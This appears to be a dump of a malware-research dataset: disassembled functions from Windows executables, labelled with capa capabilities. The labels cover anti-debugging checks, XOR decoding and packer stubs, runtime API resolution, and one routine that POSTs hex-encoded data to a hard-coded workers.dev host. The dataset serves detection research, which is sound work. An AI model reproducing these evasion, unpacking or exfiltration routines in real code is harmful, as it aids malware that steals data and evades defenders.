joyce8/EMBER2024-capa huggingface dataset:
Function at 0x474a3c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
mov eax, esi
call fcn.00474b30
cmp dword [eax + 0xc], 0
jle 0x474b28
mov eax, esi
call fcn.00474b30
mov bl, byte [eax + 0x59]
mov eax, esi
call fcn.00474b30
push dword [eax + 0xc]
mov eax, edi
shl eax, 3
imul eax, eax, 0x3e8
pop edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x474b21
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [esi + 8]
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetTickCount_1
mov esi, eax
push 0xbf
push edi
push 0
lea eax, [ebp - 4]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
sub eax, 1
jb 0x474b0a
je 0x474ae4
sub eax, 0x101
jne 0x474aa4
jmp 0x474b0a
lea eax, [ebp - 0x24]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x24]
push eax
call sub.user32.dll_DispatchMessageA
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp edi, eax
jl 0x474afd
test bl, bl
jne 0x474afd
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x24]
push eax
call sub.user32.dll_PeekMessageA
test eax, eax
jne 0x474ac7
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp edi, eax
jl 0x474b0a
jmp 0x474aa4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474b28
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetLastError
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x480800
Capabilities:
Inspect section memory permissions

Disassembly:
push ecx
mov byte [esp], al
xor eax, eax
test byte [esp], 1
je 0x480813
or eax, 0x10000000
jmp 0x48082b
test byte [esp], 2
je 0x480820
or eax, 0x20000000
jmp 0x48082b
test byte [esp], 4
je 0x48082b
or eax, 0x40000000
test byte [esp], 8
je 0x480834
or eax, 1
test byte [esp], 0x10
je 0x48083f
or eax, 0x80000000
test byte [esp], 0x20
je 0x480848
or eax, 4
test byte [esp], 0x40
je 0x480853
or eax, 0x100
test byte [esp], 0x80
je 0x48085e
or eax, 0x8000000
pop edx
ret
Function at 0x493664
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4937ef
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x3c]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x4937d2
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1c]
mov eax, dword [ebx + 0x98]
mov eax, dword [eax + 0x10]
call fcn.00408050
mov edx, dword [ebp - 0x1c]
mov eax, 0x493808
call fcn.004045c0
test eax, eax
jle 0x4936d6
mov ecx, edi
mov dl, 1
mov eax, dword [0x491aac]
call fcn.00491b3c
mov dword [ebp - 0x18], eax
mov edi, dword [ebp - 0x18]
mov eax, dword [ebx + 0x98]
mov edx, dword [eax + 0x34]
mov eax, 0x493818
call fcn.00408130
test al, al
je 0x493749
mov ecx, edi
mov dl, 1
mov eax, dword [0x47af90]
call fcn.0047b2e8
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x493742
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00478618
test al, al
je 0x49372c
jmp 0x493723
mov edx, dword [ebp - 0x14]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x14], 0
je 0x493719
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4937bc
mov eax, dword [ebp - 0x14]
call fcn.0040322c
ret
mov eax, ebx
call fcn.00493820
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jne 0x493764
cmp dword [ebp - 8], 0
jae 0x493780
jmp 0x493766
jge 0x493780
mov eax, ebx
call fcn.00478618
test al, al
je 0x4937bc
mov byte [esi + 0x78], 1
mov edx, edi
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
jmp 0x4937bc
mov eax, dword [esi + 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x24]
mov dword [ebp - 0xc], eax
mov eax, ebx
call fcn.00478618
test al, al
je 0x4937bc
jmp 0x4937a2
mov edx, edi
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [esi + 0x20]
mov edx, dword [esi + 0x24]
sub eax, dword [ebp - 0x10]
sbb edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 4]
jne 0x4937ba
cmp eax, dword [ebp - 8]
jb 0x493799
jmp 0x4937bc
jl 0x493799
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4937d9
mov eax, dword [ebp - 0x18]
call fcn.0040322c
ret
Function at 0x494e48
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x49515e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2c]
mov edx, dword [0x470798]
call fcn.00405354
push 4
lea eax, [ebp - 0x24]
mov ecx, 1
mov edx, dword [0x470798]
call fcn.00405348
add esp, 4
mov eax, dword [ebp - 0x24]
mov byte [eax], 0xd
mov eax, dword [ebp - 0x24]
mov byte [eax + 1], 0xa
mov eax, dword [ebp - 0x24]
mov byte [eax + 2], 0xd
mov eax, dword [ebp - 0x24]
mov byte [eax + 3], 0xa
push 2
lea eax, [ebp - 0x28]
mov ecx, 1
mov edx, dword [0x470798]
call fcn.00405348
add esp, 4
mov eax, dword [ebp - 0x28]
mov byte [eax], 0xa
mov eax, dword [ebp - 0x28]
mov byte [eax + 1], 0xa
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0041b78c
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0xb4], edx
mov eax, dword [ebp - 4]
add eax, 0xb8
call fcn.00403fbc
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xa8]
mov edx, dword [ebp - 4]
mov byte [edx + 0xe8], al
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x3c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x79], 0
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x78], 0
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + 0x30]
mov dword [ebp - 0x20], edx
mov edx, dword [eax + 0x34]
mov dword [ebp - 0x1c], edx
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x30]
call fcn.00474174
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x30]
cdq
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x30], eax
mov dword [ecx + 0x34], edx
xor eax, eax
push ebp
push 0x494f9a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x494fa1
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x20]
mov dword [eax + 0x30], edx
mov edx, dword [ebp - 0x1c]
mov dword [eax + 0x34], edx
ret
Function at 0x4a0514
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4a05ee
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x47e5fc]
call fcn.0047e98c
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4a05cc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004a03a8
mov ecx, esi
xor edx, edx
mov eax, dword [ebp - 4]
mov esi, dword [eax]
call dword [esi + 0x30]
lea ecx, [ebp - 8]
mov edx, 0x4a0604
mov eax, dword [ebp - 4]
call fcn.0047ea20
mov edx, dword [ebp - 8]
lea eax, [ebx + 4]
call fcn.00404010
lea ecx, [ebp - 0xc]
mov edx, 0x4a0610
mov eax, dword [ebp - 4]
call fcn.0047ea20
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebx + 8]
mov eax, ebx
call fcn.004a0460
lea ecx, [ebp - 0x10]
mov edx, 0x4a0620
mov eax, dword [ebp - 4]
call fcn.0047ea20
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebx + 0xc]
mov eax, ebx
call fcn.004a0460
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a05d3
mov eax, dword [ebp - 4]
call fcn.0040322c
ret
Function at 0x401080
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
sub esp, 0x174
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x170], eax
vmovdqu xmm0, xmmword [str.Content_Type:_text_html]
mov eax, dword [esp + 0x178]
push ebx
push ebp
push esi
vmovdqu xmmword [esp + 0x10], xmm0
vmovq xmm0, qword [0x4057a8]
push edi
xor edi, edi
mov dword [esp + 0x10], eax
mov ebp, edx
mov ebx, ecx
vmovq qword [esp + 0x24], xmm0
xor esi, esi
nop word [eax + eax]
movzx eax, byte [ebx + edi]
push eax
mov eax, 0x41
sub eax, esi
push str._02x
push eax
lea eax, [esp + 0x5c]
add eax, esi
push eax
call fcn.00401040
add esi, 2
lea edi, [edi + 1]
add esp, 0x10
cmp esi, 0x40
jb 0x4010d0
xor edi, edi
mov byte [esp + 0x90], 0
xor esi, esi
nop dword [eax + eax]
movzx eax, byte [edi + ebp]
push eax
mov eax, 0x21
sub eax, esi
push str._02x
push eax
lea eax, [esp + 0x38]
add eax, esi
push eax
call fcn.00401040
add esi, 2
lea edi, [edi + 1]
add esp, 0x10
cmp esi, 0x20
jb 0x401110
lea eax, [esp + 0x50]
mov byte [esp + 0x4c], 0
push eax
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0xa0]
push str._s::_s::_s
push 0xeb
push eax
call fcn.00401040
add esp, 0x18
push 0
push 0
push 0
push 0
push str.TLD13Browser_12.0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 3
push 0
push 0
push 0x1bb
mov ebx, eax
push str.snowy_sun_52b1.quimeptwl1963.workers.dev
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0x80800000
push 0
push 0
push 0
push str._api_event_create_version5.0.3
mov ebp, eax
push str.POST
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
lea ecx, [esp + 0x94]
mov edi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4011c5
sub ecx, edx
lea edx, [esp + 0x14]
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4011d5
push ecx
lea eax, [esp + 0x98]
sub edx, esi
push eax
push edx
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebp
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
mov eax, 0x41
lea ecx, [esp + 0x44]
pop ebx
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x401210
mov eax, 0x21
lea ecx, [esp + 0x1c]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x401224
mov eax, 0xeb
lea ecx, [esp + 0x84]
nop dword [eax + eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x401240
mov ecx, dword [esp + 0x170]
xor ecx, esp
call fcn.00401da6
add esp, 0x174
ret
Function at 0x401500
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x114
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x110], eax
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
push ebp
mov ebp, dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
push esi
push edi
mov edi, ecx
xor esi, esi
push str.USERNAME
call ebp
add esp, 4
push eax
push dword [esi + 0x4032f4]
lea eax, [esp + 0x1c]
push 0x104
push eax
call fcn.00401040
lea eax, [esp + 0x24]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401552
sub eax, edx
push eax
lea eax, [esp + 0x18]
push eax
push edi
call ebx
add esp, 0xc
test eax, eax
je 0x401577
add esi, 4
cmp esi, 0xc
jb 0x401528
xor eax, eax
jmp 0x40157c
mov eax, 1
mov ecx, dword [esp + 0x120]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401da6
add esp, 0x114
ret
Function at 0x4025d1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402610
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402610
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402610
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402610
cmp dword [ecx + 0x74], 0xe
jbe 0x402610
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x432006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x401467ce
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..tls
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x110811d5
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x406360
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x426d8c], 0
push esi
jne 0x406397
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406371
mov dword [ecx*4 + 0x426d88], eax
inc ecx
cmp ecx, 0x100
jl 0x40636c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4063c8
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x426d88]
xor eax, esi
inc ecx
dec edx
jne 0x4063aa
pop edi
not eax
pop esi
ret 0xc

Function at 0x4060b6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004021ba
and dword [ebp - 4], 0
cmp dword [0x40b654], 0
mov ebx, eax
jne 0x406167
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406218
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406218
push eax
call fcn.00402148
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b654], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b658], eax
call esi
push eax
call fcn.00402148
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b65c], eax
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b664], eax
test eax, eax
je 0x406167
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402148
pop ecx
mov dword [0x40b660], eax
mov eax, dword [0x40b660]
cmp eax, ebx
je 0x4061bf
cmp dword [0x40b664], ebx
je 0x4061bf
push eax
call fcn.004021c3
push dword [0x40b664]
mov esi, eax
call fcn.004021c3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4061bf
test edi, edi
je 0x4061bf
call esi
test eax, eax
je 0x4061b6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4061b6
test byte [ebp - 0xc], 1
jne 0x4061bf
or dword [ebp + 0x10], 0x200000
jmp 0x4061f8
mov eax, dword [0x40b658]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4061f8
mov eax, dword [0x40b65c]
cmp eax, ebx
je 0x4061f8
push eax
call fcn.004021c3
pop ecx
test eax, eax
je 0x4061f8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b654]
call fcn.004021c3
pop ecx
test eax, eax
je 0x406218
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40621a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41f232
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push edi
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x318], 0
mov byte [ebp - 0x20c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x314], 0
mov eax, dword [str...Client.exe]
mov dword [ebp - 0x108], eax
mov ecx, dword [0x4549f8]
mov dword [ebp - 0x104], ecx
mov edx, dword [0x4549fc]
mov dword [ebp - 0x100], edx
mov ax, word [0x454a00]
mov word [ebp - 0xfc], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0xfa]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [str...QQLogin.exe]
mov dword [ebp - 0x310], ecx
mov edx, dword [0x454a08]
mov dword [ebp - 0x30c], edx
mov eax, dword [0x454a0c]
mov dword [ebp - 0x308], eax
mov cx, word [0x454a10]
mov word [ebp - 0x304], cx
mov dl, byte [0x454a12]
mov byte [ebp - 0x302], dl
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x301]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x454a14
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x41f331
xor eax, eax
jmp 0x41f404
push 0x5c
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41f351
jmp 0x41f402
xor eax, eax
test eax, eax
jne 0x41f346
mov ecx, dword [ebp - 4]
mov byte [ecx], 0
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x454a1c
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0
je 0x41f3b2
mov dword [ebp - 0x318], 0x1f
mov ecx, dword [ebp - 0x314]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov dword [ebp - 0x314], 0
push 0x454a20
lea edx, [ebp - 0x310]
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0
je 0x41f3fa
mov dword [ebp - 0x318], 5
mov eax, dword [ebp - 0x314]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov dword [ebp - 0x314], 0
mov eax, dword [ebp - 0x318]
jmp 0x41f404
jmp 0x41f3fa
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x449180
Capabilities:
Set thread local storage value

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x4491a9
push eax
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [0x4629fc]
add esp, 4
test eax, eax
je 0x4491a9
mov eax, dword [0x4629f8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
ret

Function at 0x500759
Capabilities:
Packed with generic packer

Disassembly:
lea esp, [esp + 0xc]
jge 0x514079
bt sp, 0xb
sub eax, eax
pushal
pushal
lea esp, [esp + 0x40]
jmp 0x5029d5
sar ch, cl
rdtsc
aam 0xfb
test al, dh
mov edx, dword [ebp + 8]
bt ax, 1
cwde
mov dword [ebp - 0x20], edx
movzx dx, dl
setno dl
xchg dh, al
adc ch, 0xbc
mov eax, dword [ebp + 0xc]
rcr dx, 0xf
pushal
sub eax, 8
ror cx, cl
mov dword [ebp + 0xc], eax
jmp 0x5042f9

Function at 0x50574c
Capabilities:
Packed with generic packer

Disassembly:
bt dx, 0xe
pushal
cmp esp, 0x95db5b38
mov dword [ebp - 0x14], ecx
cmc
push edi
cmp bl, 0xfd
cmp dword [ebp - 0x10], 8
mov byte [esp + 8], dl
lea esp, [esp + 0x28]
jne 0x50806a
bswap dx
pushal
lahf
lea edx, [ebp - 8]
pushal
pushfd
mov dword [esp + 0x40], edx
lea ecx, [ebp - 0x239eee79]
pushfd
movzx cx, dl
mov eax, dword [ebp + 0x10]
movsx cx, dl
pop ecx
mov dword [esp + 0x3c], eax
bswap cx
bswap cx
movsx cx, cl
mov ecx, dword [ebp + 8]
pushfd
mov byte [esp], ah
mov dword [esp], esi
pushfd
mov dword [esp + 0x40], ecx
call fcn.0050f798

Function at 0x510be7
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 0x28]
call sub.MFC42.DLL_operatordelete
call fcn.0050d0fb
pushal
push eax
mov dword [esp + 0x20], 0x50f79d
call fcn.00510acd
jmp 0x504a6e
push edi
lea esp, [esp + 0x30]
je 0x50ebe4
push 0x50f79d
pushal
push dword [sym.imp.MSVCRT.dll__snprintf]
pop dword [esp + 0x1c]
mov word [esp + 8], cx
mov byte [esp + 4], dh
push esp
pushal
push dword [esp + 0x40]
ret 0x44

Function at 0x5116b9
Capabilities:
Packed with generic packer

Disassembly:
stc
mov dword [ebp - 0x14], ecx
push ecx
sub esp, 0xfffffffc
je 0x50c5be
add ecx, 1
call fcn.0050574c
adc ch, al
mov dword [ebp - 0x10], eax
adc cx, dx
mov ecx, dword [ebp - 0x14]
sub esp, 0xfffffff8
ja 0x50fbe6
stc
add ecx, 1
jmp 0x503cf3

Function at 0x511bce
Capabilities:
Packed with generic packer

Disassembly:
mov cx, word [esp]
mov byte [ebp - 4], 1
jmp 0x51228f
lea ecx, [ebp - 0x350]
push edx
mov byte [esp], cl
mov dword [esp + 0x24], 0x50c18a
call fcn.00502c6d
mov ecx, dword [ebp + 8]
and dx, 0xb768
add ecx, 8
lea edx, [ebp + 0x448f38c5]
bsr dx, cx
mov dword [ebp + 8], ecx
cmc
cmp di, si
sal dh, cl
mov dword [ebp - 0x10], 1
pushfd
mov edx, dword [ebp - 0x10]
pushal
add edx, dword [ebp - 0x1c]
pushfd
cmc
mov dword [ebp - 0x10], edx
cmc
jmp 0x50bc5f
jmp 0x50fa7a
test dh, 0xa1
mov dword [ebp - 0x14], 1
add esp, 0x48
mov dword [ebp - 0x368], eax
jmp 0x5006b9
movsx cx, bl
jmp 0x5042e2

Function at 0x511d21
Capabilities:
Encode data using xor

Disassembly:
mov byte [esp + 4], ah
lea esp, [esp + 0x34]
call fcn.0040dedf
ror cx, 0xf
Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4b1310
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6f000]
push edi
jmp 0x4b132a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b1331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1320
mov eax, 1
add ebx, ebx
jne 0x4b1343
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b1354
jne 0x4b1373
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1373
dec eax
add ebx, ebx
jne 0x4b1360
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b1338
add ebx, ebx
jne 0x4b136f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b13c5
xor ecx, ecx
sub eax, 3
jb 0x4b138b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b13fa
sar eax, 1
mov ebp, eax
jmp 0x4b1396
add ebx, ebx
jne 0x4b1396
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1364
inc ecx
add ebx, ebx
jne 0x4b13a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b1364
add ebx, ebx
jne 0x4b13b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b13a6
jne 0x4b13c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b13a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b13e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b13d6
jmp 0x4b1326
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b13e4
add edi, ecx
jmp 0x4b1326
pop esi
mov edi, esi
mov ecx, 0x3726
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b1402
cmp byte [edi], 0x22
jne 0x4b1402
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b1407
lea edi, [esi + 0xad000]
mov eax, dword [edi]
or eax, eax
je 0x4b147f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb2d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb2eb8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b1434
mov ecx, edi
jns 0x4b1463
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb2ebc]
or eax, eax
je 0x4b1479
mov dword [ebx], eax
add ebx, 4
jmp 0x4b1451
call dword [esi + 0xb2ecc]
mov ebp, dword [esi + 0xb2ec0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b14b3
